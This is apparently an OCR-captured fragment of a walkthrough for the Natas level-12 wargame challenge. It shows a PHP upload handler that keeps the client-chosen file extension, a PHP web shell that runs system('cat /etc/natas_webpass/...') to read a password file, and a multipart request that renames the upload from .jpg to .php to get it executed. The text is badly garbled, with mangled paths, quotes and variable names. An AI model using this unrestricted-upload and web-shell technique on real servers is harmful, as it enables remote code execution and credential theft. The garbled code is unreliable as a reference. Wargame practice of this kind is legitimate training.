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| Browse... | No file selected.
. Upload File |
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1<?
2
3 function genRandomString() {
4 $length = 10;
5 $characters = "0123456789abcdefghijklmnopgrstuvwxyz"”;
6 $string = "";
7
8 for ($p = 0; $p < $length; $p++) {
9 $string .= $characters[mt_rand(@, strlen($characters)-1)];
10 }
11
12 return $string;
13 }
14
15 function makeRandomPath($dir, $ext) {
16 do {
17 $path = $dir."/".genRandomString().".".$ext; #upload/BEHLFFHF . XXX
18 } while(file exists($path));
19 return $path;
20 }
21
22 function makeRandomPathFromFilename($dir, $fn) {

23 $ext = pathinfo($fn, PATHINFO_EXTENSION);#3K754 &4

24 return makeRandomPath($dir, $ext);

25 }

26

27 if(array_key exists("filename", $_POST)) {

28 $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); #upload/BEHLFFHF . XXX
29

30

31 if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {

32 echo "File is too big";

33 } else {

34 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

35 echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded”;
36 } else{

37 echo "There was an error uploading the file, please try again!";

38 }

39 }

40 } else {

41 ?>
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58 FAE—phplid, %I B R/etc/natas_webpass/natas12:

1 <?php

2 $a = system('cat /etc/natas_webpass/natasld’);
3 echo %$a;

4 ?>
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The file upload/elbl1icc35.jpg has been uploaded
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type="hidden"></input>
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Content-Disposition: form-data; name="filename"

34h5wllxb®. jpg

----------------------------- 16840938501 7306895785124230
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/x-php

<?php
$a = system('cat fetc/natas_webpass/nataslz');

echo %a,
e
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The file upload/wkk3g67jh8.php has been uploaded
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